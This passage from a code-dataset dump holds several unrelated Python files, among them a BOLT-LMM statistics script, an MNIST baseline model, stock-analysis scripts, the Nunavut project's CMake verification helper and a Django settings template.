abs(logDelta[s]-logDelta[s-1])<0.01:\n\t\tbreak\n\tf.append(evalfREML(logDelta=logDelta[s],MCtrials=MCtrials,hf=hf,Y=Y,beta_rand=beta_rand,e_rand_unscaled=e_rand_unscaled))\n\tprint(\"Iteration %d has been completed successfully.\" % (s-1))\n\ndelta = sp.exp(logDelta[-1])\nprint(\"The final delta:\",delta) # 0.17609251449105767\n\nx0 = sp.zeros(N, dtype= \"single\")\nH_inv_y_data = conjugateGradientSolveChunks(hf=hf,x0=x0,b=Y,c2=delta)\n\nsigma_g = sp.dot(Y,H_inv_y_data)/float(N)\nsigma_e = delta*sigma_g\nprint(\"sigma.g=\",sigma_g) # 0.80200006131763968\nprint(\"sigma.e=\",sigma_e) # 0.14122620741940561\n\nprint(\"Step 1a took\", round((time.time()-step)/60,2),\"minutes\")\n","sub_path":"BOLT_LMM_chunk.py","file_name":"BOLT_LMM_chunk.py","file_ext":"py","file_size_in_byte":9875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"424478473","text":"'''def flip(stack, num_flip):\r\n\tstack_flipped = stack[num_flip-1::-1]\r\n\tfor i in range(num_flip):\r\n\t\tstack[i] = stack_flipped[i] * -1\r\n\r\ndef count_flips(stack):\r\n\tfor i in range(len(stack)):\r\n\r\ndef solve_case(stack):\r\n\treturn 1'''\r\n\r\ndef solve_case(stack):\r\n\tchanges = 0\r\n\tcurrent_pancake = 1\r\n\t\r\n\tfor pancake in stack[::-1]:\r\n\t\tif pancake != current_pancake:\r\n\t\t\tcurrent_pancake = pancake\r\n\t\t\tchanges += 1\r\n\r\n\treturn changes","sub_path":"codes/CodeJamCrawler/16_0_2/learningsquare/b_revenge.py","file_name":"b_revenge.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"108968909","text":"import numpy as np\n\n\nclass BaseModel(object):\n '''Base Model for kaggle-mnist, your model should inherit this model\n and implement `train` and `test` method\n '''\n\n def __init__(self, name='base'):\n self.name = 'base'\n\n def train(self, X, Y):\n '''train the model with given data (X, Y)\n Parameters\n ==========\n X: data, shape: (N, 28, 28), dtype=np.float32\n Y: label, shape: (N,), dtype=np.int32\n\n Returns\n =======\n None\n '''\n raise NotImplemented('Subclass should implement train')\n\n def predict(self, X):\n '''predict with given data (X)\n Parameters\n ==========\n X: data, shape: (N, 28, 28), dtype=np.float32\n\n Returns\n =======\n Y: your model's prediction, shape: (N,), dtype=np.int32\n '''\n raise NotImplemented('Subclass should implement predict')\n\n\nclass DummyModel(BaseModel):\n '''this is a dummy model\n during train, it calculate a mean image for every label, during test, every data sample compare\n with these mean image using L2 distance to detect which label it is.\n '''\n\n def __init__(self):\n super(DummyModel, self).__init__('dummy')\n\n def train(self, X, Y):\n self.ws = [np.zeros((28, 28), dtype=np.float32) for i in range(10)]\n self.ns = [0 for i in range(10)]\n for idx, (x, y) in enumerate(zip(X, Y)):\n assert y >= 0 and y < 10\n self.ws[y] += x\n self.ns[y] += 1\n for i in range(10):\n if self.ns[i] > 0:\n self.ws[i] /= self.ns[i]\n\n def predict(self, X):\n Y = np.zeros(len(X), dtype=np.int32)\n dist_func = lambda x1, x2: np.sum(np.square(x1-x2))\n for i, x in enumerate(X):\n dist_min, label = np.finfo(np.float32).max, -1\n for j, w in enumerate(self.ws):\n dist = dist_func(x, w)\n if dist < dist_min:\n dist_min = dist\n label = j\n assert label != -1\n Y[i] = label\n return Y\n\n\n###############################################\n# Put your model below #\n###############################################\n","sub_path":"MNIST/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"133916165","text":"from ..config import *\n\n\ndef get_MACD(stockname, time_type, from_time, to_time):\n if time_type == 'historical':\n interval = 'daily'\n else:\n interval = '1min'\n data = ti.get_macd(symbol=stockname, interval=interval)[0]\n # print(data.loc[from_time:to_time])\n # data is pandas with columns\n # date(index) MACD_Signal MACD_Hist MACD\n return data\n\n\nif __name__ == '__main__':\n print(get_MACD('AAPL', 'daily', '2013-01-01', '2014-01-01'))","sub_path":"StockTracking/backendserver/data/macd.py","file_name":"macd.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"584644821","text":"import pandas as pd\nimport quandl\nimport datetime\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy.signal import savgol_filter\nimport torch\n\nfrom scipy import optimize\n\ndef test_func(x, a, b):\n return a * np.sin(b * x)\n\nimport numpy, scipy.optimize\n\ndef fit_sin(tt, yy):\n '''Fit sin to the input time sequence, and return fitting parameters \"amp\", \"omega\", \"phase\", \"offset\", \"freq\", \"period\" and \"fitfunc\"'''\n tt = numpy.array(tt)\n yy = numpy.array(yy)\n ff = numpy.fft.fftfreq(len(tt), (tt[1]-tt[0])) # assume uniform spacing\n Fyy = abs(numpy.fft.fft(yy))\n guess_freq = abs(ff[numpy.argmax(Fyy[1:])+1]) # excluding the zero frequency \"peak\", which is related to offset\n guess_amp = numpy.std(yy) * 2.**0.5\n guess_offset = numpy.mean(yy)\n guess = numpy.array([guess_amp, 2.*numpy.pi*guess_freq, 0., guess_offset])\n\n def sinfunc(t, A, w, p, c): return A * numpy.sin(w*t + p) + c\n\n popt, pcov = scipy.optimize.curve_fit(sinfunc, tt, yy, p0=guess)\n A, w, p, c = popt\n f = w/(2.*numpy.pi)\n fitfunc = lambda t: A * numpy.sin(w*t + p) + c\n return {\"amp\": A, \"omega\": w, \"phase\": p, \"offset\": c, \"freq\": f, \"period\": 1./f, \"fitfunc\": fitfunc, \"maxcov\": numpy.max(pcov), \"rawres\": (guess,popt,pcov)}\n\n\n\n\n# We will look at stock prices over the past year, starting at January 1, 2016\nstart = datetime.datetime(2016, 1, 1)\nend = datetime.date.today()\n\n# Let's get Apple stock data; Apple's ticker symbol is AAPL\n# First argument is the series we want, second is the source (\"yahoo\" for Yahoo! Finance), third is the start date, fourth is the end date\ns = \"AAPL\"\napple = quandl.get(\"WIKI/\" + s, start_date=start, end_date=end)\n\napple['shift_closed'] = apple['Close'].shift(periods=1)\napple['var'] = apple['shift_closed'] - apple['Close']\n\nvariations = np.array(apple['var'].values)[2:]\nprint(variations)\n\nsmoth_var = savgol_filter(variations, 29, 2)\n\nfrequency = 1\nlimit_training = 400\nmean = np.mean(smoth_var[:limit_training])\nA = fit_sin(np.arange(limit_training), smoth_var[:limit_training]-mean)\n\nplt.plot(variations, linewidth=0.5)\nplt.axvline(limit_training, color='red', linewidth=2)\nplt.axhline(0, color='green', linewidth=2)\nplt.plot(smoth_var[:550])\nplt.plot(A['amp']*np.sin(np.arange(550) * A['omega'] + A['phase'])+mean, color='yellow')\nplt.show()\n\n\n\n# train_x = torch.tensor(np.arange(0,limit_training,frequency)).float()[...,None]\n# train_y = torch.tensor(smoth_var[:limit_training:frequency]).float()\n# #period_length_prior=gpytorch.priors.NormalPrior(0.33,0.1)\n#\n# class ExactGPModel(gpytorch.models.ExactGP):\n# def __init__(self, train_x, train_y, likelihood):\n# super(ExactGPModel, self).__init__(train_x, train_y, likelihood)\n# self.mean_module = gpytorch.means.ConstantMean()\n# self.covar_module = gpytorch.kernels.RBFKernel()\n#\n# def forward(self, x):\n# mean_x = self.mean_module(x)\n# covar_x = self.covar_module(x)\n# return gpytorch.distributions.MultivariateNormal(mean_x, covar_x)\n#\n#\n# # initialize likelihood and model\n# likelihood = gpytorch.likelihoods.GaussianLikelihood()\n# model = ExactGPModel(train_x, train_y, likelihood)\n#\n# # Find optimal model hyperparameters\n# model.train()\n# likelihood.train()\n#\n# # Use the adam optimizer\n# optimizer = torch.optim.Adam([{'params': model.parameters()}], lr=0.02)\n#\n# # \"Loss\" for GPs - the marginal log likelihood\n# mll = gpytorch.mlls.ExactMarginalLogLikelihood(likelihood, model)\n#\n# training_iter = 220\n# Loss=[]\n#\n# for i in range(training_iter):\n# # Zero gradients from previous iteration\n# optimizer.zero_grad()\n# # Output from model\n# output = model(train_x)\n#\n# # Calc loss and backprop gradients\n# loss = -mll(output, train_y).sum()\n# Loss.append(loss)\n# loss.backward()\n# print('Iter %d/%d - Loss: %.3f' % (i + 1, training_iter, loss.item()))\n# optimizer.step()\n#\n# plt.plot(Loss)\n# plt.show()\n#\n# x_test = np.arange(550)\n#\n# model.eval()\n# likelihood.eval()\n#\n# with torch.no_grad():\n# x_test = torch.tensor(x_test).float()[..., None]\n# observed_pred = likelihood(model(x_test))\n# mean_test = observed_pred.mean.numpy()\n#\n# plt.plot(smoth_var)\n# plt.plot(np.arange(limit_training,550),variations[limit_training:550]/10)\n# plt.plot(mean_test)\n# plt.axvline(limit_training, color='red', linewidth=2)\n# plt.axhline(0, color='green', linewidth=2)\n# plt.show()\n\n\n#\n# fig,ax = plt.subplots(5,1)\n# for i in range(5):\n# ax[i].plot(x_test[i].squeeze().numpy(), mean_test[i], 'orange')\n# ax[i].plot(x_test[i].squeeze().numpy(), y_test[i], 'k*', c='r')\n# ax[i].plot(train_x[i].detach().numpy(), train_y[i].detach().numpy(), 'k*', c='b')\n# # ax[i].legend(['Observed Data', 'Mean'])\n# ax[i].set_title('Independent GP (Likelihood)')\n# plt.show()\n\n\n\n\n\n\n\n\n","sub_path":"data_processing.py","file_name":"data_processing.py","file_ext":"py","file_size_in_byte":4808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"367729133","text":"#!/usr/bin/env python3\n#\n# Copyright 2021 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n# Copyright (C) 2018-2021 UAVCAN Development Team \n# This software is distributed under the terms of the MIT License.\n#\n\"\"\"\n Command-line helper for running verification builds.\n\"\"\"\n\nimport argparse\nimport configparser\nimport functools\nimport logging\nimport os\nimport pathlib\nimport shutil\nimport subprocess\nimport sys\nimport textwrap\nimport typing\n\n\ndef _make_parser() -> argparse.ArgumentParser:\n\n epilog = textwrap.dedent(\n \"\"\"\n\n **Example Usage**::\n\n ./verify.py -l c\n\n \"\"\"\n )\n\n parser = argparse.ArgumentParser(\n description=\"CMake command-line helper for running verification builds.\",\n epilog=epilog,\n formatter_class=argparse.RawTextHelpFormatter,\n )\n\n parser.add_argument(\n \"--override\",\n action=\"append\",\n nargs=\"*\",\n help=textwrap.dedent(\n \"\"\"\n Optional configuration files to provide override values for verification arguments.\n Use this to configure common CI options without creating long CI command lines. Multiple\n overrides can be specified with the order being an ascending priority (i.e. the next override\n will overwrite any previous overrides).\n\n This file uses the python configparser syntax and expects a single section called 'overrides'.\n See https://docs.python.org/3/library/configparser.html for more information.\n\n Example ini file:\n\n [overrides]\n verbose: True\n remove-first: True\n force: True\n endianness: any\n language: cpp\n platform: native32\n toolchain-family: gcc\n\n \"\"\"[\n 1:\n ]\n ),\n )\n\n build_args = parser.add_argument_group(\n title=\"build options\",\n description=textwrap.dedent(\n \"\"\"\n Arguments that can be used in parallel builds. Each of these will change\n the name of the build directory created for the build.\n \"\"\"[\n 1:\n ]\n ),\n )\n\n build_args.add_argument(\n \"--version-only\",\n action=\"store_true\",\n help=textwrap.dedent(\n \"\"\"\n Print out the version number (stored in src/nunavut/version.py) only and exit. This number\n will be the only output to stdout allowing build scripts to extract this string value for\n use in the build environment. For example:\n\n export NUNAVUT_FULL_VERSION=$(./verify.py --version-only)\n\n \"\"\"[\n 1:\n ]\n ),\n )\n\n build_args.add_argument(\n \"--major-minor-version-only\",\n action=\"store_true\",\n help=textwrap.dedent(\n \"\"\"\n Print out the major and minor version number (stored in src/nunavut/version.py) only and exit.\n This number will be the only output to stdout allowing build scripts to extract this string\n value for use in the build environment. For example:\n\n export NUNAVUT_MAJOR_MINOR_VERSION=$(./verify.py --major-minor-version-only)\n\n \"\"\"[\n 1:\n ]\n ),\n )\n\n build_args.add_argument(\"-l\", \"--language\", default=\"c\", help=\"Value for NUNAVUT_VERIFICATION_LANG (defaults to c)\")\n\n build_args.add_argument(\"-std\", \"--language-standard\", default=\"\", help=\"Language standard\")\n\n build_args.add_argument(\"--build-type\", help=\"Value for CMAKE_BUILD_TYPE\")\n\n build_args.add_argument(\"--endianness\", help=\"Value for NUNAVUT_VERIFICATION_TARGET_ENDIANNESS\")\n\n build_args.add_argument(\"--platform\", help=\"Value for NUNAVUT_VERIFICATION_TARGET_PLATFORM\")\n\n build_args.add_argument(\n \"--disable-asserts\", action=\"store_true\", help=\"Set NUNAVUT_VERIFICATION_SER_ASSERT=OFF (default is ON)\"\n )\n\n build_args.add_argument(\n \"--disable-fp\", action=\"store_true\", help=\"Set NUNAVUT_VERIFICATION_SER_FP_DISABLE=ON (default is OFF)\"\n )\n\n build_args.add_argument(\n \"--enable-ovr-var-array\",\n action=\"store_true\",\n help=\"Set NUNAVUT_VERIFICATION_OVR_VAR_ARRAY_ENABLE=ON (default is OFF)\",\n )\n\n build_args.add_argument(\n \"--toolchain-family\",\n choices=[\"gcc\", \"clang\", \"none\"],\n default=\"gcc\",\n help=textwrap.dedent(\n \"\"\"\n Select the toolchain family to use. Use \"none\" to get the toolchain\n from the environment (i.e. set CC and CXX environment variables).\n \"\"\"[\n 1:\n ]\n ),\n )\n\n build_args.add_argument(\n \"--none\",\n action=\"store_true\",\n help=textwrap.dedent(\n \"\"\"\n Dummy argument used to support matrix builds where an argument present\n in other builds is not provided in the current build.\n \"\"\"[\n 1:\n ]\n ),\n )\n\n action_args = parser.add_argument_group(\n title=\"behavioral options\",\n description=textwrap.dedent(\n \"\"\"\n Arguments that change the actions taken by the build.\n \"\"\"[\n 1:\n ]\n ),\n )\n\n action_args.add_argument(\"-v\", \"--verbose\", action=\"count\", default=0, help=\"Set output verbosity.\")\n\n action_args.add_argument(\n \"-f\",\n \"--force\",\n action=\"store_true\",\n help=textwrap.dedent(\n \"\"\"\n Force recreation of verification directory if it already exists.\n\n ** WARNING ** This will delete the cmake build directory!\n\n \"\"\"[\n 1:\n ]\n ),\n )\n\n action_args.add_argument(\"-c\", \"--configure-only\", action=\"store_true\", help=\"Configure but do not build.\")\n\n action_args.add_argument(\n \"-b\", \"--build-only\", action=\"store_true\", help=\"Try to build without configuring. Do not try to run tests.\"\n )\n\n action_args.add_argument(\n \"-t\", \"--test-only\", action=\"store_true\", help=\"Only try to run tests. Don't configure or build.\"\n )\n\n action_args.add_argument(\n \"--dry-run\",\n action=\"store_true\",\n help=textwrap.dedent(\n \"\"\"\n Don't actually do anything. Just log what this script would have done.\n Combine with --verbose to ensure you actually see the script's log output.\n \"\"\"[\n 1:\n ]\n ),\n )\n\n action_args.add_argument(\n \"-x\",\n \"--no-coverage\",\n action=\"store_true\",\n help=\"Disables generation of test coverage data. This is enabled by default.\",\n )\n\n action_args.add_argument(\n \"-rm\",\n \"--remove-first\",\n action=\"store_true\",\n help=textwrap.dedent(\n \"\"\"\n If specified, any existing build directory will be deleted first. Use\n -f to skip the user prompt.\n\n Note: This only applies to the configure step. If you do a build-only this\n argument has no effect.\n \"\"\"[\n 1:\n ]\n ),\n )\n\n other_options = parser.add_argument_group(\n title=\"extra build options\",\n description=textwrap.dedent(\n \"\"\"\n Additional arguments for modifying how the build runs but which are used less frequently.\n \"\"\"[\n 1:\n ]\n ),\n )\n\n other_options.add_argument(\n \"-j\",\n \"--jobs\",\n type=int,\n help=\"The number of concurrent build jobs to request. \"\n \"Defaults to the number of logical CPUs on the local machine.\",\n )\n\n other_options.add_argument(\"--verification-dir\", default=\"verification\", help=\"Path to the verification directory.\")\n\n other_options.add_argument(\n \"--use-default-generator\",\n action=\"store_true\",\n help=textwrap.dedent(\n \"\"\"\n We use Ninja by default. Set this flag to omit the explicit generator override\n and use whatever the default is for cmake (i.e. normally make)\n \"\"\"[\n 1:\n ]\n ),\n )\n\n return parser\n\n\ndef _apply_overrides(args: argparse.Namespace) -> argparse.Namespace:\n if args.override is not None:\n for override in args.override:\n print(\n textwrap.dedent(\n \"\"\"\n *****************************************************************\n About to apply override file : {}\n *****************************************************************\n \"\"\"\n ).format(str(override))\n )\n\n overrides = configparser.ConfigParser(interpolation=configparser.ExtendedInterpolation())\n overrides.read(override)\n if \"overrides\" not in overrides:\n raise RuntimeError('ini file \"{}\" did not contain an overrides section.'.format(str(override)))\n for key, value in overrides[\"overrides\"].items():\n corrected_key = key.replace(\"-\", \"_\")\n if value.lower() == \"true\" or value.lower() == \"false\":\n setattr(args, corrected_key, bool(value))\n else:\n try:\n setattr(args, corrected_key, int(value))\n except ValueError:\n setattr(args, corrected_key, value)\n\n return args\n\n\ndef _cmake_run(\n cmake_args: typing.List[str],\n cmake_dir: pathlib.Path,\n verbose: int,\n dry_run: bool,\n env: typing.Optional[typing.Dict] = None,\n) -> int:\n \"\"\"\n Simple wrapper around cmake execution logic\n \"\"\"\n logging.debug(\n textwrap.dedent(\n \"\"\"\n\n *****************************************************************\n About to run command: {}\n in directory : {}\n *****************************************************************\n\n \"\"\"\n ).format(\" \".join(cmake_args), str(cmake_dir))\n )\n\n copy_of_env: typing.Dict = {}\n copy_of_env.update(os.environ)\n if env is not None:\n copy_of_env.update(env)\n\n if verbose > 1:\n logging.debug(\" *****************************************************************\")\n logging.debug(\" Using Environment:\")\n for key, value in copy_of_env.items():\n overridden = key in env if env is not None else False\n logging.debug(\" {} = {}{}\".format(key, value, (\" (override)\" if overridden else \"\")))\n logging.debug(\" *****************************************************************\\n\")\n\n if not dry_run:\n return subprocess.run(cmake_args, cwd=cmake_dir, env=copy_of_env).returncode\n else:\n return 0\n\n\ndef _handle_build_dir(args: argparse.Namespace, cmake_dir: pathlib.Path) -> None:\n \"\"\"\n Handle all the logic, user input, logging, and file-system operations needed to\n manage the cmake build directory ahead of invoking cmake.\n \"\"\"\n if args.remove_first and cmake_dir.exists():\n okay_to_remove = False\n if not args.force:\n response = input(\"Are you sure you want to delete {}? [y/N]:\".format(cmake_dir))\n if (len(response) == 1 and response.lower() == \"y\") or (len(response) == 3 and response.lower() == \"yes\"):\n okay_to_remove = True\n else:\n okay_to_remove = True\n\n if okay_to_remove:\n if not args.dry_run:\n logging.info(\"Removing directory {}\".format(cmake_dir))\n shutil.rmtree(cmake_dir)\n else:\n logging.info(\"Is dry-run. Would have removed directory {}\".format(cmake_dir))\n else:\n raise RuntimeError(\n \"\"\"\n Build directory {} already exists, -rm or --remove-first was specified,\n and permission was not granted to delete it. We cannot continue. Either\n allow re-use of this build directory or allow deletion. (use -f flag to\n skip user prompts).\"\"\".lstrip().format(\n cmake_dir\n )\n )\n\n if not cmake_dir.exists():\n if not args.dry_run:\n logging.info(\"Creating build directory at {}\".format(cmake_dir))\n cmake_dir.mkdir()\n else:\n logging.info(\"Dry run: Would have created build directory at {}\".format(cmake_dir))\n else:\n logging.info(\"Using existing build directory at {}\".format(cmake_dir))\n\n\ndef _cmake_configure(args: argparse.Namespace, cmake_args: typing.List[str], cmake_dir: pathlib.Path) -> int:\n \"\"\"\n Format and execute cmake configure command. This also include the cmake build directory (re)creation\n logic.\n \"\"\"\n\n if args.build_only or args.test_only:\n return 0\n\n cmake_logging_level = \"NOTICE\"\n\n if args.verbose == 1:\n cmake_logging_level = \"STATUS\"\n elif args.verbose == 2:\n cmake_logging_level = \"VERBOSE\"\n elif args.verbose == 3:\n cmake_logging_level = \"DEBUG\"\n elif args.verbose > 3:\n cmake_logging_level = \"TRACE\"\n\n _handle_build_dir(args, cmake_dir)\n\n cmake_configure_args = cmake_args.copy()\n\n cmake_configure_args.append(\"--log-level={}\".format(cmake_logging_level))\n cmake_configure_args.append(\"-DNUNAVUT_VERIFICATION_LANG={}\".format(args.language))\n\n if args.language_standard is not None:\n cmake_configure_args.append(\"-DNUNAVUT_VERIFICATION_LANG_STANDARD={}\".format(args.language_standard))\n\n if args.build_type is not None:\n cmake_configure_args.append(\"-DCMAKE_BUILD_TYPE={}\".format(args.build_type))\n\n if args.endianness is not None:\n cmake_configure_args.append(\"-DNUNAVUT_VERIFICATION_TARGET_ENDIANNESS={}\".format(args.endianness))\n\n if args.platform is not None:\n cmake_configure_args.append(\"-DNUNAVUT_VERIFICATION_TARGET_PLATFORM={}\".format(args.platform))\n\n if args.disable_asserts:\n cmake_configure_args.append(\"-DNUNAVUT_VERIFICATION_SER_ASSERT:BOOL=OFF\")\n\n if args.disable_fp:\n cmake_configure_args.append(\"-DNUNAVUT_VERIFICATION_SER_FP_DISABLE:BOOL=ON\")\n\n if args.enable_ovr_var_array:\n cmake_configure_args.append(\"-DNUNAVUT_VERIFICATION_OVR_VAR_ARRAY_ENABLE:BOOL=ON\")\n\n if args.verbose > 0:\n cmake_configure_args.append(\"-DCMAKE_VERBOSE_MAKEFILE:BOOL=ON\")\n\n flag_set_dir = pathlib.Path(\"cmake\") / pathlib.Path(\"compiler_flag_sets\")\n if args.no_coverage:\n flagset_file = (flag_set_dir / pathlib.Path(\"native\")).with_suffix(\".cmake\")\n else:\n flagset_file = (flag_set_dir / pathlib.Path(\"native_w_cov\")).with_suffix(\".cmake\")\n\n cmake_configure_args.append(\"-DNUNAVUT_FLAGSET={}\".format(str(flagset_file)))\n\n if args.toolchain_family != \"none\":\n toolchain_dir = pathlib.Path(\"cmake\") / pathlib.Path(\"toolchains\")\n if args.toolchain_family == \"clang\":\n toolchain_file = toolchain_dir / pathlib.Path(\"clang-native\").with_suffix(\".cmake\")\n else:\n toolchain_file = toolchain_dir / pathlib.Path(\"gcc-native\").with_suffix(\".cmake\")\n\n cmake_configure_args.append(\"-DCMAKE_TOOLCHAIN_FILE={}\".format(str(toolchain_file)))\n\n if not args.use_default_generator:\n cmake_configure_args.append(\"-DCMAKE_GENERATOR=Ninja\")\n\n cmake_configure_args.append(\"..\")\n\n return _cmake_run(cmake_configure_args, cmake_dir, args.verbose, args.dry_run)\n\n\ndef _cmake_build(args: argparse.Namespace, cmake_args: typing.List[str], cmake_dir: pathlib.Path) -> int:\n \"\"\"\n Format and execute cmake build command. This method assumes that the cmake_dir is already properly\n configured.\n \"\"\"\n if not args.configure_only and not args.test_only:\n cmake_build_args = cmake_args.copy()\n\n cmake_build_args += [\"--build\", \".\", \"--target\", \"all\"]\n\n if args.jobs is not None and args.jobs > 0:\n cmake_build_args += [\"--\", \"-j{}\".format(args.jobs)]\n\n return _cmake_run(cmake_build_args, cmake_dir, args.verbose, args.dry_run)\n\n return 0\n\n\ndef _cmake_test(args: argparse.Namespace, cmake_args: typing.List[str], cmake_dir: pathlib.Path) -> int:\n \"\"\"\n Format and execute cmake test command. This method assumes that the cmake_dir is already properly\n configured.\n \"\"\"\n if not args.configure_only and not args.build_only:\n cmake_test_args = cmake_args.copy()\n\n cmake_test_args += [\"--build\", \".\", \"--target\"]\n\n if args.no_coverage:\n cmake_test_args.append(\"test_all\")\n else:\n cmake_test_args.append(\"cov_all_archive\")\n\n return _cmake_run(cmake_test_args, cmake_dir, args.verbose, args.dry_run)\n\n return 0\n\n\ndef _create_build_dir_name(args: argparse.Namespace) -> str:\n name = \"build_{}\".format(args.language)\n\n if args.language_standard is not None:\n name += \"_{}\".format(args.language_standard)\n\n name += \"_{}\".format(args.toolchain_family)\n\n if args.platform is not None:\n name += \"_{}\".format(args.platform)\n\n if args.build_type is not None:\n name += \"_{}\".format(args.build_type)\n\n if args.endianness is not None:\n name += \"_{}\".format(args.endianness)\n\n if args.disable_asserts:\n name += \"_noassert\"\n\n if args.disable_fp:\n name += \"_nofp\"\n\n if args.enable_ovr_var_array:\n name += \"_wovervararray\"\n\n return name\n\n\n@functools.lru_cache(maxsize=None)\ndef _get_version_string() -> typing.Tuple[str, str, str]:\n with open(\"src/nunavut/version.py\", \"r\") as version_py:\n exec(version_py.read())\n\n version_string = typing.cast(str, eval(\"__version__\"))\n version_array = version_string.split(\".\")\n return (version_array[0], version_array[1], version_array[2])\n\n\ndef main() -> int:\n \"\"\"\n Main method to execute when this package/script is invoked as a command.\n \"\"\"\n args = _apply_overrides(_make_parser().parse_args())\n\n if args.version_only:\n sys.stdout.write(\".\".join(_get_version_string()))\n sys.stdout.flush()\n return 0\n\n if args.major_minor_version_only:\n version = _get_version_string()\n sys.stdout.write(\"{}.{}\".format(version[0], version[1]))\n sys.stdout.flush()\n return 0\n\n logging_level = logging.WARN\n\n if args.verbose == 1:\n logging_level = logging.INFO\n elif args.verbose > 1:\n logging_level = logging.DEBUG\n\n logging.basicConfig(format=\"%(levelname)s: %(message)s\", level=logging_level)\n\n logging.debug(\n textwrap.dedent(\n \"\"\"\n\n *****************************************************************\n Commandline Arguments to {}:\n\n {}\n\n For Nunavut version {}\n *****************************************************************\n\n \"\"\"\n ).format(os.path.basename(__file__), str(args), _get_version_string())\n )\n\n verification_dir = pathlib.Path.cwd() / pathlib.Path(args.verification_dir)\n cmake_dir = verification_dir / pathlib.Path(_create_build_dir_name(args))\n cmake_args = [\"cmake\"]\n\n configure_result = _cmake_configure(args, cmake_args, cmake_dir)\n\n if configure_result != 0:\n return configure_result\n elif args.configure_only:\n return 0\n\n build_result = _cmake_build(args, cmake_args, cmake_dir)\n\n if build_result != 0:\n return build_result\n elif args.build_only:\n return 0\n\n if not args.configure_only and not args.build_only:\n return _cmake_test(args, cmake_args, cmake_dir)\n\n raise RuntimeError(\"Internal logic error: only_do_x flags resulted in no action.\")\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","sub_path":".github/verify.py","file_name":"verify.py","file_ext":"py","file_size_in_byte":19481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"510990667","text":"from .dancer import *\nclass Soloist (Dancer):\n def __init__(self):\n super().__init__()\n self.time = input('Введите стаж в качестве солиста труппы: ')\n self.best_performance = input ('Введите лучшие постановки с участием этого солиста: ')\n self.bonus = input('Введите размер премии: ')\n def __str__(self):\n super().__str__()\n out = ('\\nСтаж в качестве солиста: ' + self.time\n + '\\nЛучшие постановки с участтием указанного солиста: ' + self.best_performance\n +'\\nРазмер премии солиста: ' + self.bonus)\n return out\n","sub_path":"st24/soloist.py","file_name":"soloist.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"320362939","text":"\"\"\"\nDjango settings for {{ project_name }} project.\n\nUsing Django 1.7, Jinja2 templating system through django-jinja, django-ckeditor\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/dev/topics/settings/\n\nFor the full list of settings and their values, see\nhttps://docs.djangoproject.com/en/dev/ref/settings/\n\"\"\"\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nimport os\nimport sys\n########## BASE CONFIGURATION ################################################\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/dev/howto/deployment/checklist/\n\n########## SECRET CONFIGURATION ###############################################\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#secret-key\n# Note: when in production a new secret key is automatically re-generated \nSECRET_KEY = {{ secret }}\n########## END SECRET CONFIGURATION ###########################################\n\nDEBUG = False\n\nTEMPLATE_DEBUG = False\n\n# Hosts/domain names that are valid for this site\n# See https://docs.djangoproject.com/en/1.5/ref/settings/#allowed-hosts\n\nALLOWED_HOSTS = []\n########## END BASE CONFIGURATION ############################################\n\n\n########## PATHS CONFIGURATION ###############################################\n\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.dirname(__file__)))\n\n# Site name:\nSITE_NAME = os.path.basename(os.path.dirname(os.path.dirname(__file__)))\nAPP_ROOT = os.path.dirname(os.path.dirname(__file__))\n\n# SQLite3 database file location:\nDATABASE_ROOT = os.path.join(BASE_DIR, 'data/')\n\n# Add our project to our pythonpath, this way we don't need to\n# type our project name in our dotted import paths:\nsys.path.append(APP_ROOT)\nsys.path.append(DATABASE_ROOT)\n\n########## END PATHS CONFIGURATION ###########################################\n\n########## APPs CONFIGURATION ################################################\n# Application definition\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#installed-apps\n\nDJANGO_APPS = (\n # Default Django apps:\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n\n # Useful template tags:\n 'django.contrib.humanize',\n\n # Admin panel and documentation:\n 'django.contrib.admin',\n # 'django.contrib.admindocs',\n)\n\n# Third party apps for this project\nTHIRDPARTY_APPS = (\n 'django_jinja',\n 'django_jinja.contrib._humanize',\n 'django_extensions',\n 'ckeditor',\n)\n\n# Apps specific for this project go here.\nLOCAL_APPS = (\n\n)\n\nINSTALLED_APPS = DJANGO_APPS + THIRDPARTY_APPS + LOCAL_APPS\n#\n########## END APPs CONFIGURATION ############################################\n\n# MIDDLEWARE CONFIGURATION ##################################################\nMIDDLEWARE_CLASSES = (\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.auth.middleware.SessionAuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n)\n########## END MIDDLEWARE CONFIGURATION #####################################\n\n########## URL CONFIGURATION and APPLICATION CONFIGURATION ##################\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#root-urlconf\nROOT_URLCONF = '{}.urls'.format(SITE_NAME)\n\nWSGI_APPLICATION = '{}.wsgi.application'.format(SITE_NAME)\n########## END CONFIGURATION and APPLICATION CONFIGURATION ##################\n\n# ######### DATABASE CONFIGURATION ###########################################\n#\n# DATABASE CONFIGURATION in:\n# dev = dev.py >> using sqlite3\n# pro = 